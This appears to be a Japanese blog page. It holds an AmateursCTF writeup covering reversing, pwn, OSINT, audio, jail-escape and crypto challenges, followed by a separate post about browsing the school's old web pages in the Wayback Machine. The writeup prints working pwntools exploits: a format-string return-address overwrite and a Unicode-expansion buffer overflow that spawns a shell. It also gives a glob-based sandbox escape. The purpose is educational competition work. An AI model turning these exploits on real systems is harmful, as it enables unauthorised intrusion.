        remainder = number % base
        quotient = number // base

        # 余りを対応する文字に変換して結果の先頭に追加
        result = digits[remainder] + result

        # 商を次のループの入力に設定
        number = quotient

    # 結果を返す
    return result


def decrypto(bytes_table, bytes_var):
    # x = int(bytes_var.hex(), 17)
    x = int(bytes_var.hex(), 16)
    for r in bytes_table:
        x -= int(r, 35)
    # print(hex(x)[2:])
    a = to_base_n(x, 17)
    print(a)
    return bytes.fromhex(a)


c = "5915f8ba06db0a50aa2f3eee4baef82e70be1a9ac80cb59e5b9cb15a15a7f7246604a5e456ad5324167411480f893f97e3"
c = bytes.fromhex(c)
m = decrypto(bytes_table, c)
m = random_actions_rev(m, regex_.encode())
print(m)
print(m[::-1])
amateursCTF{4t_l3ast_th15_fl4g_isn7_misspelll3d}'

rev全然できなかった.(

bearsay [pwn]

❯ checksec chal
[*] '/home/trimscash/amateurs/pwn/bearsay/chal'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./lib'

ghidraでデコンパイル

void rep(char param_1,int param_2)

{
  long lVar1;
  long in_FS_OFFSET;
  int local_14;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  for (local_14 = 0; local_14 < param_2; local_14 = local_14 + 1) {
    putchar((int)param_1);
  }
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


void box(char param_1,char param_2,int param_3,char *param_4)

{
  long lVar1;
  int iVar2;
  size_t sVar3;
  long in_FS_OFFSET;
  int local_1c;
  int local_18;
  
  lVar1 = *(long *)(in_FS_OFFSET + 0x28);
  sVar3 = strlen(param_4);
  iVar2 = (int)sVar3;
  rep((int)param_2,iVar2 + 4);
  putchar(10);
  for (local_1c = 0; local_1c < param_3; local_1c = local_1c + 1) {
    putchar((int)param_1);
    rep(0x20,iVar2 + 2);
    putchar((int)param_1);
    putchar(10);
  }
  putchar((int)param_1);
  putchar(0x20);
  printf(param_4);
  putchar(0x20);
  putchar((int)param_1);
  putchar(10);
  for (local_18 = 0; local_18 < param_3; local_18 = local_18 + 1) {
    putchar((int)param_1);
    rep(0x20,iVar2 + 2);
    putchar((int)param_1);
    putchar(10);
  }
  rep((int)param_2,iVar2 + 4);
  putchar(10);
  if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}



/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */

void main(void)

{
  undefined8 uVar1;
  uint uVar2;
  int iVar3;
  char *pcVar4;
  FILE *__stream;
  size_t sVar5;
  long in_FS_OFFSET;
  char local_2018;
  char local_2017;
  char local_2016;
  char local_1018 [4104];
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  setbuf(_stdout,(char *)0x0);
  uVar1 = rdtsc();
  srand((uint)uVar1);
  while( true ) {
    while( true ) {
      while( true ) {
        printf(&DAT_00102044);
        fgets(&local_2018,0x1000,_stdin);
        pcVar4 = strchr(&local_2018,10);
        if (pcVar4 != (char *)0x0) {
          *pcVar4 = '\0';
        }
        if (local_2018 != '\0') break;
        uVar2 = rand();
        printf("confused bear %s\n",*(undefined8 *)(bears + (ulong)(uVar2 & 3) * 8));
      }
      iVar3 = strcmp("flag",&local_2018);
      if (iVar3 != 0) break;
      if (is_mother_bear != 0xbad0bad) {
        uVar2 = rand();
        printf("ANGRY BEAR %s\n",*(undefined8 *)(bears + (ulong)(uVar2 & 3) * 8));
                    /* WARNING: Subroutine does not return */
        exit(1);
      }
      __stream = fopen("./flag.txt","r");
      fgets(local_1018,0x1000,__stream);
      fclose(__stream);
      box(0x7c,0x2d,2,local_1018);
      puts("|\n|\n|");
      uVar2 = rand();
      puts(*(char **)(bears + (ulong)(uVar2 & 3) * 8));
    }
    iVar3 = strcmp("leave",&local_2018);
    if (iVar3 == 0) {
      uVar2 = rand();
      printf("lonely bear... %s\n",*(undefined8 *)(bears + (ulong)(uVar2 & 3) * 8));
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
    if (((local_2018 == 'm') && (local_2017 == 'o')) && (local_2016 == 'o')) break;
    sVar5 = strlen(&local_2018);
    box(0x2a,0x2a,0,&local_2018);
    rep(0x20,(int)sVar5 / 2);
    puts("|");
    uVar2 = rand();
    pcVar4 = *(char **)(bears + (ulong)(uVar2 & 3) * 8);
    rep(0x20,(int)sVar5 / 2);
    puts(pcVar4);
  }
  puts("no.");
                    /* WARNING: Subroutine does not return */
  exit(1);
}

観るとわかる通り,box関数に書式文字列攻撃ができる.

box関数

  putchar(0x20);
  printf(param_4);
  putchar(0x20);

param_4はmainの&local_2018であり,これはユーザからの入力なので,%1$llxやらを入力すればレジスターやスタックの値を見れる.

ソースを見たり,gdbで実験すればわかる通り,以下のように入力すれば,左からcanarybase addrret addrがわかる.

❯ ./chal
🧸 say: %13$llx,%14$llx,%15$llx
***************************
* 8134954c383e9a00,7ffc0b834330,55ff531c2678 *
***************************

これにより,任意のスタックのアドレスをスタックに入力時に積むことができ,それを%hhnで指定することで,スタックの任意の1byteに値を書き込むことができる.

以下solver.py

from pwn import *

io = remote("chal.amt.rs", 1338)
# io = process("./chal")
# io = gdb.debug("./chal", "b *box+180\nc")

payload = b",%13$llx,%14$llx,%15$llx,"

io.sendlineafter(b"say:", payload)

res = io.recvuntil(b"|")

leaks = res.decode().split(",")[1:-1]
print(leaks)

main_addr = int(leaks[2], 16) - 702  # (<main+702>:
stackbase_addr = int(leaks[1], 16)

box_retaddr_addr = stackbase_addr - 0x2048

win_addr = main_addr + 0x126

print(hex(win_addr))

buf_offset = 22
format_str_len = 20
buf_addrs_offset = buf_offset + format_str_len

payload = b""

prev = 0
c = 0
for i in p64(win_addr):
    print(i)
    t = (i - prev) % 256
    if t == 0:
        t = 256
    payload += f"%{t}c%{c+buf_addrs_offset}$hhn".encode("utf-8")
    prev = i
    c += 1

payload += b"a" * ((format_str_len * 8) - len(payload))
print(payload)

for i in range(8):
    payload += p64(box_retaddr_addr + i)

io.sendlineafter(b"say:", payload)

io.interactive()

実行するとフラグが得られた.

amateursCTF{bearsay_mooooooooooooooooooo?} 

buffer-overflow

chal.rs

use std::mem::ManuallyDrop;
use std::ptr;
use std::slice;
use std::str;

#[inline(never)]
#[no_mangle]
pub extern "C" fn uppercase(src: *const u8, srclen: usize, dst: *mut u8) {
    unsafe {
        let upper = ManuallyDrop::new(
            str::from_utf8(slice::from_raw_parts(src, srclen))
                .unwrap()
                .to_uppercase(),
        );
        let bytes = upper.as_bytes();

        let bytes_ptr = bytes.as_ptr();

        ptr::copy_nonoverlapping(bytes_ptr, dst, bytes.len());
    }
}

実行すると大文字にしてくれる.Cで以上のrustの関数を呼んでいる.

tomoyuki-nakabayashi.github.io

❯ ./chal
a
A
❯ checksec chal     
[*] '/home/trimscash/amateurs/pwn/buffer-overflow/chal'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'./lib'

セキュリティ機構はほとんどない.

ghidraでデコンパイル

void win(void)

{
  system("/bin/sh");
  return;
}


undefined8 main(void)

{
  long lVar1;
  undefined8 *puVar2;
  undefined8 uStack_1030;
  undefined8 local_1028 [513];
  char *local_20;
  ssize_t local_18;
  long local_10;
  
  puVar2 = local_1028;
  for (lVar1 = 0x200; lVar1 != 0; lVar1 = lVar1 + -1) {
    *puVar2 = 0;
    puVar2 = puVar2 + 1;
  }
  uStack_1030 = 0x4011db;
  local_18 = read(0,local_1028,0x1000);
  if (local_18 < 0) {
    uStack_1030 = 0x4011ff;
    errx(1,"failed to read input");
  }
  *(undefined *)((long)local_1028 + local_18 + -1) = 0;
  uStack_1030 = 0x401223;
  local_20 = strchr((char *)local_1028,10);
  if (local_20 == (char *)0x0) {
    local_10 = local_18 + -1;
  }
  else {
    *local_20 = '\0';
    local_10 = (long)local_20 - (long)local_1028;
  }
  uStack_1030 = 0x401272;
  uppercase(local_1028,local_10,local_1028);
  uStack_1030 = 0x401281;
  puts((char *)local_1028);
  return 0;
}

見てわかる通り,ユーザーの入力をrustで書かれた関数,uppercaseに入れている.

ここで,to_uppercaseのドキュメントを見てみよう.

doc.rust-lang.org

// Sometimes the result is more than one character: assert_eq!('ß'.to_uppercase().to_string(), "SS");

とのことで,以下が変換表.

www.unicode.org

(今回のシステムではUTF-8なので注意)

入力できる文字数には制限があるので,この仕様を用いて,buf-overflowする.

具体的には,を用いた.

FB17; FB17; 0544 056D; 0544 053D; # ARMENIAN SMALL LIGATURE MEN XEH

www.compart.com

3bytesのこれがto_uppercaseにより,մխになる.

“մ” U+0574 Armenian Small Letter Men Unicode Character

“խ” U+056D Armenian Small Letter Xeh Unicode Character

つまり\xd5\x84\xd4\xbdの4byteになる. これでbuf overflowができる.

あとはret addrを書き換えるだけだが,ここで入力できる値はutf-8の有効なbytesのみ.(無効なbytesを入れるとエラーが出て終わる)

ここで\x40,\x12は大丈夫なのだが,\xa0とかは無効なので単純にはできない.

悩んで適当に文字を見ていたら,2byte目が\xa0である文字があったのでそれを使えばいい.

https://www.compart.com/en/unicode/U+C2A0

しかし,このままだと,rspのが0x10byteの倍数でないので,movapsが使われている,systemに怒られる.

warabanshi.hatenablog.com

gist.github.com

なので,pushした後の,0x4012a1を使う.

\xc2\xa1もある.

www.compart.com

あとはsolver.pyを書く.

from pwn import *

# io = process("./chal")
io = remote("chal.amt.rs", 1337)
# io = gdb.debug("./chal", "b *main+46\nc")

system = 0x4012A1

overflow_len = 6 * 8
buf_len = 0x1000

payload = b"\xEF\xAC\x97" * overflow_len  # ARMENIAN SMALL LIGATURE MEN XEH
payload += b"a" * (buf_len - len(payload) - len(p64(system)) - 1)
payload += b"\xc2" + p64(system)  # c2 a1 슡
print(payload)
io.sendline(payload)

io.interactive()

実行するとシェルが取れた.

amateursCTF{i_love_unicodeAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA}

pwnはほかにheap問(56 solves)とか,sandbox問(34 solves)と思われる問題があったが,解かなかった(解けなかった).この問題はなぜか30 solvesだった. 難易度の表示がなかったのでこうなっているんだと思われる.(heapから逃げるな

bathroom-break [osint]

I was on an in-state skiing trip with my family when we decided to go out and see some sights. I remember needing to go to the bathroom near where these pictures were taken and then leaving a review. Can you find this review for me?

この近くのトイレを探せばいい.

google 画像検索をすると,以下のページが見つかった.

https://www.reddit.com/r/whereisthis/comments/1bx7tbx/finding_location_from_2_photos/

Hot Creek Geological Site, Mammoth Lakes, CA.らしい.

この近くのトイレのレビューにリンク付きのレビューがあった.

www.google.com

Convenient bathroom. I really like this bathroom, since it's the only one in the area. It's also pretty clean in addition to convenient, which is great. t . l y / p h X h x

t.ly/phXhxにアクセスするとフラグがあった.

amateursCTF{jk_i_lied_whats_a_bathroom_0f9e8d7c6b5a4321}

cherry-blossoms [osint]

average southern californian reacts to DC weather. amazing scenery though at the time. Find the coords of this image! Grader Command: nc chal.amt.rs 1771

main.py

#!/usr/bin/env python3
# modified from HSCTF 10 grader
import json
with open("locations.json") as f:
    locations = json.load(f)
wrong = False
for i, coords in enumerate(locations, start=1):
    x2, y2 = coords
    x, y = map(float, input(f"Please enter the lat and long of the location: ").replace(",","").split(" "))
    # increase if people have issues
    if abs(x2 - x) < 0.0010 and abs(y2 - y) < 0.0010:
        print("Correct! You have successfully determined the position of the camera.")
    else:
        print("Wrong! Try again after paying attention to the picture.")
        wrong = True

if not wrong:
    with open("flag.txt") as f:
        print("Great job, the flag is ",f.read().strip())
else:
    print("Better luck next time ʕ·ᴥ·ʔ")

先日,ワシントンDCで桜祭りがあったとニュースで見た. 調べると桜祭りのマップが出てきた.

www.theurbanatlas.com

後ろにある旗は,ワシントン記念堂のものであると思われる.

www.google.com

www.google.com

これの外周を適当に見ていく.一番それらしいのがここだった.

www.google.com

38.8890507, -77.0335331

正しい座標を入力したらフラグがもらえるサーバーに,その座標を与えたら,フラグがもらえた.

amateursCTF{l00k1ng_l0v3ly_1n_4k}

densely-packed [misc]

drive.google.com

wavファイルが渡される.

聴くとわかるが高速で何かをしゃべっていることがわかる.

wavのファイルヘッダーを書き換えて速度を落とす.

www.youfit.co.jp

以前書いたプログラムを流用した.(かなり適当,無駄がある.

#include <math.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

typedef struct {
    char id[4];       // "RIFF"
    uint32_t size; // ファイルサイズ-8の数値
    char form[4]; // "WAVE"
} RIFFChunk;

typedef struct {
    char id[4];            // "fmt " スペースも含まれるので注意
    uint32_t size;      // fmt領域のサイズ
    uint16_t format_id;     // フォーマットID (PCM:1)
    uint16_t channel;   // チャネル数 (モノラル:1 ステレオ:2)
    uint32_t fs;        // サンプリング周波数
    uint32_t byte_sec;  // 1秒あたりのバイト数(fs×byte_samp)
    uint16_t byte_samp;     // 1要素のバイト数(channel×(bit/8))
    uint16_t bit;       // 量子化ビット数(8 or 16)
} FormatChunk;

typedef struct {
    char id[4];       // "data"
    uint32_t size; // data領域のサイズ
} DataChunk;

double sampleNum(FormatChunk *f, DataChunk *d) {
    return d->size / (double)f->byte_samp;
}
double waveSeccond(FormatChunk *f, DataChunk *d) {
    return sampleNum(f, d) / f->fs;
}

void printFmt(FormatChunk *f) {
    printf("%s\n", f->id);
    printf("%d\n", f->size);
    printf("%d\n", f->format_id);
    printf("%d\n", f->channel);
    printf("%d\n", f->fs);
    printf("%d\n", f->byte_sec);
    printf("%d\n", f->byte_samp);
    printf("%d\n", f->bit);
}
void printRIFF(RIFFChunk *r) {
    printf("%s\n", r->id);
    printf("%d\n", r->size);
    printf("%s\n", r->form);
}
void printData(DataChunk *d) {
    printf("%s\n", d->id);
    printf("%d\n", d->size);
}

void wavToTxt(char *wave_file, char *txt_file) {
    FILE *fp;
    fp = fopen(wave_file, "rb");
    if (fp == NULL) {
        perror("file not found");
    }
    FILE *txt;
    txt = fopen(txt_file, "w");
    if (txt == NULL) {
        perror("file cant open");
    }

    RIFFChunk riff;
    FormatChunk fmt;
    DataChunk data_chunk;

    fread(&riff, sizeof(RIFFChunk), 1, fp);
    fread(&fmt, sizeof(FormatChunk), 1, fp);
    fread(&data_chunk, sizeof(DataChunk), 1, fp);

    uint16_t *data = (uint16_t *)malloc(data_chunk.size);

    fread(data, data_chunk.size, 1, fp);

    for (int i = (data_chunk.size / 2) - 1; i >= 0; i--) {
        fprintf(txt, "%d\n", data[i]);
    }

    fclose(fp);
    fclose(txt);
    free(data);
}

void txtToWav(char *txt_file, char *wave_file) {
    FILE *wave_txt;
    wave_txt = fopen(txt_file, "r");
    if (wave_txt == NULL) {
        perror("file not found");
    }
    FILE *fp;
    fp = fopen(wave_file, "wb");
    if (fp == NULL) {
        perror("file not found");
    }
    char buf[100];
    uint32_t sample_num = 0;
    while (fgets(buf, 90, wave_txt) != NULL) {
        sample_num++;
    }
    RIFFChunk riff = {
        "RIFF",
        2130296,
        "WAVE"};

    FormatChunk fmt = {
        "fmt ",
        16,
        1,
        1,
        11025,
        22050,
        2,
        16};

    DataChunk data_chunk = {
        "data",
        2130260,
    };

    riff.size = sample_num * (fmt.bit / 8) + sizeof(RIFFChunk) + sizeof(FormatChunk) + sizeof(DataChunk) - 8;
    fmt.byte_samp = fmt.channel * (fmt.bit / 8);
    fmt.byte_sec = fmt.fs * fmt.byte_samp;
    data_chunk.size = sample_num * (fmt.bit / 8);

    // 1/3倍に変更
    fmt.fs = fmt.fs / 3;
    fmt.byte_sec = fmt.fs * fmt.byte_samp;

    fseek(wave_txt, 0, SEEK_SET);
    uint16_t *data = (uint16_t *)malloc(data_chunk.size);
    for (int i = 0; i < sample_num; i++) {
        fgets(buf, 90, wave_txt);
        data[i] = atoi(buf);
    }

    fwrite(&riff, sizeof(RIFFChunk), 1, fp);
    fwrite(&fmt, sizeof(FormatChunk), 1, fp);
    fwrite(&data_chunk, sizeof(DataChunk), 1, fp);
    fwrite(data, data_chunk.size, 1, fp);
    fclose(wave_txt);
    fclose(fp);
    free(data);
}

int main() {
    wavToTxt("laughing.wav", "wave.txt");
    txtToWav("wave.txt", "laughing2.wav");

    RIFFChunk riff;
    FormatChunk fmt;
    DataChunk data_chunk;

    FILE *wave_file;
    wave_file = fopen("laughing.wav", "rb");
    if (wave_file == NULL) {
        perror("file not found");
    }

    fseek(wave_file, 0, SEEK_SET);
    fread(&riff, sizeof(RIFFChunk), 1, wave_file);
    fread(&fmt, sizeof(FormatChunk), 1, wave_file);
    fread(&data_chunk, sizeof(DataChunk), 1, wave_file);
    printFmt(&fmt);

    printf("filesize: %d\n", riff.size);
    printf("channel num: %d\n", fmt.channel);
    printf("sampling freq: %d\n", fmt.fs);
    printf("bit num: %d\n", fmt.bit);
    printf("sample num: %f\n", sampleNum(&fmt, &data_chunk));
    printf("recording time: %f [s]\n", waveSeccond(&fmt, &data_chunk));

    return 0;
}

流用しているので無駄があるが,やっていることは,速度を落としてる.

 // 1/3倍に変更
    fmt.fs = fmt.fs / 3;
    fmt.byte_sec = fmt.fs * fmt.byte_samp;

また速度を落としたものを聞くと,逆再生されているように感じたので,データ部分を逆から読み込んでいる.

 for (int i = (data_chunk.size / 2) - 1; i >= 0; i--) {
        fprintf(txt, "%d\n", data[i]);
    }

出力されたものを聞くと,機械音声で,inverseとtransfomationsをアンダースコアでつなげてフラグラッパーでラップしたものと言っていた.

amateursCTF{inverse_transfomations}

transfomationsの最後のsを聞き取れず死んでいた.

sansomega [jail]

#!/usr/local/bin/python3
import subprocess

BANNED = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\\"\'`:{}[]'


def shell():
    while True:
        cmd = input('$ ')
        if any(c in BANNED for c in cmd):
            print('Banned characters detected')
            exit(1)

        if len(cmd) >= 20:
            print('Command too long')
            exit(1)

        proc = subprocess.Popen(
            ["/bin/sh", "-c", cmd], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)

        print(proc.stdout.read().decode('utf-8'), end='')

if __name__ == '__main__':
    shell()

Dockerfile

FROM python:3.10 as base

COPY ./shell.py /app/run
COPY ./flag.txt /app/flag.txt

FROM pwn.red/jail:latest

COPY --from=base / /srv
RUN chmod 755 /srv/app/run

ENV JAIL_TIME=300 JAIL_MEM=50M JAIL_PIDS=10 JAIL_DEV=null,zero,urandom,ptmx JAIL_PIDS=60

入力できる文字が限られている.しかし?が使えるので,以下のようなことができる.

/???/???

これにマッチする最初のファイルが実行される.

末尾が数字である対話型のプログラムを探すことにした.

いろいろ探してたらtclsh8.6を見つけた.

/???/?????8.6

とすれば実行できる.

ファイルの読み込みは以下の手順

set file [open "/app/flag.txt" r]
set content [read $file]
puts $content
exit

一連の動作をまとめてやるとフラグがもらえた.

❯ nc chal.amt.rs 2100
$ /???/?????8.6

set file [open "/app/flag.txt" r]
set content [read $file]
puts $content
exit
amateursCTF{pic0_w45n7_g00d_n0ugh_50_i_700k_som3_cr34t1v3_l1b3rt135_ade8820e}
amateursCTF{pic0_w45n7_g00d_n0ugh_50_i_700k_som3_cr34t1v3_l1b3rt135_ade8820e}

unsuspicious-rsa [crypto]

from Crypto.Util.number import *

def nextPrime(p, n):
    p += (n - p) % n
    p += 1
    iters = 0
    while not isPrime(p):
        p += n
    return p

def factorial(n):
    if n == 0:
        return 1
    return factorial(n-1) * n


flag = bytes_to_long(open('flag.txt', 'rb').read().strip())
p = getPrime(512)
q = nextPrime(p, factorial(90))
N = p * q
e = 65537
c = pow(flag, e, N)
print(N, e, c)

output.txt

172391551927761576067659307357620721422739678820495774305873584621252712399496576196263035396006999836369799931266873378023097609967946749267124740589901094349829053978388042817025552765214268699484300142561454883219890142913389461801693414623922253012031301348707811702687094437054617108593289186399175149061 65537 128185847052386409377183184214572579042527531775256727031562496105460578259228314918798269412725873626743107842431605023962700973103340370786679287012472752872015208333991822872782385473020628386447897357839507808287989016150724816091476582807745318701830009449343823207792128099226593723498556813015444306241

重要なのはnextPrimeの実装

def nextPrime(p, n):
    p += (n - p) % n
    p += 1

変なことをしている.手元で実験してみよう.

>>> p=2
>>> n=6
>>> p+(n-p)%n
6

p<nの時はp=nとなる.

p>nの時はどうだろうか.

>>> p=7
>>> n=6
>>> p+(n-p)%n
12
>>> p=13
>>> p+(n-p)%n
18
>>> p=25
>>> p+(n-p)%n
30

p=n*(p//n)となっていることがわかる.

この関数を以下のように使っているので,生成される素数は予測可能.

q = nextPrime(p, factorial(90))

factorial(90)は90!

あとは pのだいたいの値がわかればいいがこれはsqrt(n)でいいはず.

あとはsolverを書くだけ.

from Crypto.Util.number import *
import math

def nextPrime(p, n):
    p += (n - p) % n
    p += 1
    iters = 0
    while not isPrime(p):
        p += n
    return p

def factorial(n):
    if n == 0:
        return 1
    return factorial(n-1) * n

N=172391551927761576067659307357620721422739678820495774305873584621252712399496576196263035396006999836369799931266873378023097609967946749267124740589901094349829053978388042817025552765214268699484300142561454883219890142913389461801693414623922253012031301348707811702687094437054617108593289186399175149061
e=65537
c=128185847052386409377183184214572579042527531775256727031562496105460578259228314918798269412725873626743107842431605023962700973103340370786679287012472752872015208333991822872782385473020628386447897357839507808287989016150724816091476582807745318701830009449343823207792128099226593723498556813015444306241

factorial_n=factorial(90)
t=int(math.sqrt(N))//factorial_n
q=factorial_n*t+1
while N%q!=0:
    q+=factorial_n

# print(factorial(90))
print(q)
p=N//q

phi=(p-1)*(q-1)

d=pow(e,-1,phi)

m=pow(c,d,N)

print(long_to_bytes(m))

実行するとフラグがもらえた.

amateursCTF{here's_the_flag_you_requested.}

faked-onion

#!/usr/local/bin/python3

import hmac
from os import urandom


def strxor(a: bytes, b: bytes):
    return bytes([x ^ y for x, y in zip(a, b)])


class Cipher:
    def __init__(self, key: bytes):
        self.key = key
        self.block_size = 16
        self.rounds = 1

    def F(self, x: bytes):
        return hmac.new(self.key, x, "md5").digest()[:15]

    def encrypt(self, plaintext: bytes):
        plaintext = plaintext.ljust(self.block_size, b"\x00")
        ciphertext = b""

        for i in range(0, len(plaintext), self.block_size):
            block = plaintext[i : i + self.block_size]
            for _ in range(self.rounds):
                L, R = block[:-1], block[-1:]
                L, R = R, strxor(L, self.F(R))
                block = L + R
            ciphertext += block

        return ciphertext


key = urandom(16)
cipher = Cipher(key)
flag = open("flag.txt", "rb").read().strip()

print("faked onion")
while True:
    choice = input("1. Encrypt a message\n2. Get encrypted flag\n3. Exit\n> ").strip()

    if choice == "1":
        pt = input("Enter your message in hex: ").strip()
        pt = bytes.fromhex(pt)
        print(cipher.encrypt(pt).hex())
    elif choice == "2":
        print(cipher.encrypt(flag).hex())
    else:
        break

print("Goodbye!")

まずdecrypt関数を作る.これはencryptの逆の手順をする関数を作ればいい.

def decrypt(ciphertext: bytes, hash_table: list):
    block_size = 16
    plaintext = b""
    rounds = 1
    c = 0
    for i in range(0, len(ciphertext), block_size):
        block = ciphertext[i : i + block_size]
        for _ in range(rounds):
            L, R = block[:1], block[1:]
            L, R = strxor(R, hash_table[c]), L
            block = L + R
        plaintext += block
        c += 1
    return plaintext.rstrip(b"\x00")

あとはフラグを暗号化するときの,F(R)の値を特定すればいいのだが,encryptの実装を見るとわかる通り,平文の16バイト目を使って作っている. さらに,その平文の16バイト目は暗号化されずに出力されている.

    def encrypt(self, plaintext: bytes):
        plaintext = plaintext.ljust(self.block_size, b"\x00")
        ciphertext = b""

        for i in range(0, len(plaintext), self.block_size):
            block = plaintext[i : i + self.block_size]
            for _ in range(self.rounds):
                L, R = block[:-1], block[-1:]
                L, R = R, strxor(L, self.F(R))
                block = L + R
            ciphertext += block

        return ciphertext

このことから,フラグを暗号化するときの,F(R)の値は,\x00*15+その16バイト目の値で取得できる.

これをもとにsolverを書く

#!/usr/local/bin/python3

import hmac
from os import urandom
from pwn import *


def strxor(a: bytes, b: bytes):
    return bytes([x ^ y for x, y in zip(a, b)])


def decrypt(ciphertext: bytes, hash_table: list):
    block_size = 16
    plaintext = b""
    rounds = 1
    c = 0
    for i in range(0, len(ciphertext), block_size):
        block = ciphertext[i : i + block_size]
        for _ in range(rounds):
            L, R = block[:1], block[1:]
            L, R = strxor(R, hash_table[c]), L
            block = L + R
        plaintext += block
        c += 1
    return plaintext.rstrip(b"\x00")


io = remote("chal.amt.rs", 1414)
block_size = 16

io.sendlineafter(b"> ", b"2")
flag_crypt = io.readline()[:-1]
flag_crypt_bytes = bytes.fromhex(flag_crypt.decode())
print(flag_crypt)
print(flag_crypt_bytes)
flag_parts = []
for i in range(0, len(flag_crypt_bytes), block_size):
    flag_parts.append(flag_crypt_bytes[i])

print(len(flag_crypt_bytes) / block_size)
print(flag_parts)


hash_table = []
for i in flag_parts:
    payload = b"00" * 15 + hex(i)[2:].ljust(2, "0").encode()
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"Enter your message in hex: ", payload)

    print(payload)

    flag_part_hash = io.readline()[:-1]
    flag_part_hash_bytes = bytes.fromhex(flag_part_hash.decode())
    print(len(flag_part_hash_bytes))
    hash_table.append(flag_part_hash_bytes[1:])

print(hash_table)


flag = decrypt(flag_crypt_bytes, hash_table)

print(flag)

実行するとフラグがもらえた.

amateursCTF{oh_no_my_one_of_a_kind-err_sorry,_f4ked_on10n_cipher_got_ki11ed_730eb1c0}'

おわり

問題数が多くて,面白い問題が多かった.解き切れていないのでおいおい解いていこうと思う.

楽しかった.

hatenablogのwebエディタで書いたらめちゃおもになって,writeup書くの大変だった.

読んでくれてありがとうございました.終わりです.

Wayback Machineで母校の文化と歴史を知ろう

はじめに

皆さん,母校のことわかっていますか?

私は東京高専のJK*1,Trimscashです! 今日はWayback Machineで昔に戻り,昔の東京高専の様子を見てみたらいろいろな文化と歴史を知れた話をします.

内輪感はすごくあるけど読んでってね

Wayback Machineとは

archive.org

Internet Archive is a non-profit library of millions of free books, movies, software, music, websites, and more.

Wayback Machineとはウェブページをコピーし保管して,誰でもいつでも見れるようにしてくれているサービスです.

理念とかは以下を見ればわかります. 多分,儚いwebというメディアの保管をし文化と歴史を後世に伝えるためにあるんだと思います.(適当)

archive.org

この記事では,完全に誰でもアクセスすることができる,100%公開されている情報を集めて,母校の文化と歴史をひしひしと感じ,気持ちよくなっていきます.

調べればわかることなのですが,できるだけ個人情報や個人の肖像は載せていません.また何か問題があれば対応するので何なりとご連絡ください.

現在の東京高専のホームページ

国立東京工業高等専門学校

見ての通り,何の変哲もなく,何の歴史も,文化も個性も感じないつまらないありきたりなホームページですね.

こりゃWayback Machineで昔に戻っても,どうせつまんないですね. あ~やだやだ,うちの学校がこんなつまんない学校だなんて,どうせ昔っから何も変わらんつまんない学校なんだ..が一応,観ておきますかね..

昔のホームページ

https://web.archive.org/web/19961219013055/http://ss2.tokyo-ct.ac.jp/

1999年に1件ありますね.見てみましょう.

うーん普通.残念ですね.この学校には,文化も歴史のかけらも残っていませんでした.そんなの何にもないのと一緒です.悲しいね..

一応自分の所属する情報工学科でも見てきましょう.

お,知ってる名前がありますね.見てみましょう.

web.archive.org

何ですかこれは...

素晴らしい.

私の高専には,しっかりと歴史があり,文化があり,学んできた学生たちがいたのです. その足跡がしっかりと残されています.

学生のページも見てみましょう.

高専のギャル

https://web.archive.org/web/19961115095046/http://ss2.tokyo-ct.ac.jp/~akiko/Welcome.html

凄い.高専にもギャルが存在したんですね..!

いよいよ、携帯とPHSが完全につながります。携帯の会社によってつながる日は違うけど、どの会社もつながるそうです。PHSから携帯への発信は、どれも完全にOKになっています。これからはPHS時代?どちらも確実にユーザーが増えていることは間違いないんだから、携帯もPHSも、つなぐとき通話料もっと安くしてー。(PHS解約しました。番号知っている人、ベルに連絡してね)

時代の流れを感じます.こんなにも前から,この学校は存在していたんですね.当然知ってはいましたし,もっと前から存在していることも当然知っていますが,実際の学生の記録はそんなに見ないので面白いですね.

そこらを歩いているおじさん,おばさんにも,学生時代があって人生があるのだという当然のことを実感できます.

ほかにも見ていきましょう.

昔の学生の様子(1997年以前)

いろいろあさっていたら,ある学生のページを見つけました.

web.archive.org

見ていきましょう.ちなみに,当時この方は高専卒業生である大学生のようで,このページのドメインも東京高専のものから,別の学校にうつっています.

面白いですね! 一つずつ見ていきましょう!

東京の高専の歴史

東京に ある4つの高専(東京高専、都立高専、都立航空高専、育英高専)のなかで、

東京にある高専は,今は東京高専サレジオ高専,産技高専の3つですが,1997年当時はいろんな高専があったんですね.

調べると,育英高専は今のサレジオ高専のようです.

サレジオ工業高等専門学校 - Wikipedia

また,都立高専、都立航空高専は併合されて,今の産技高専になったようです.

東京都立航空工業高等専門学校 - Wikipedia

初めて知りました.面白いですね.東京高専の文化や歴史だけでなく,当時の文化や,時代背景や技術も見えてきますね.

今もあるスーパーアルプス狭間店

スーパーアルプス狭間店 普通のチェーン店のスーパーです。ただ、高専の真正面にあるだけで、 高専生の毒牙にかかり、よく教務がお菓子の詰め合わせ持って、謝りに 行っているそうです(具体的に何をしてるかは、あえて言いません)。

だそうです.この当時からスーパーアルプスってあったんですね. スーパーアルプス狭間店は,東京高専の目の前にあるスーパーで,東京高専生が猛威を振るっています.(ふるっていません)

https://www.google.com/maps/@35.6382659,139.3002536,3a,75y,159.56h,96.61t/data=!3m6!1e1!3m4!1sl-zoutOf8pLVluoVs9qHuA!2e0!7i16384!8i8192?entry=ttuwww.google.com

2025の初旬にリニューアルされました

今は亡きノジマ

ノジマ アルプスの隣の電気屋です。フロッピーディスクをよく買いに行きました。

ノジマは今はありません.フロッピーディスクを買いに行くことも今はありません.

スーパーアルプス狭間店の隣には今は,DAISOがあります.

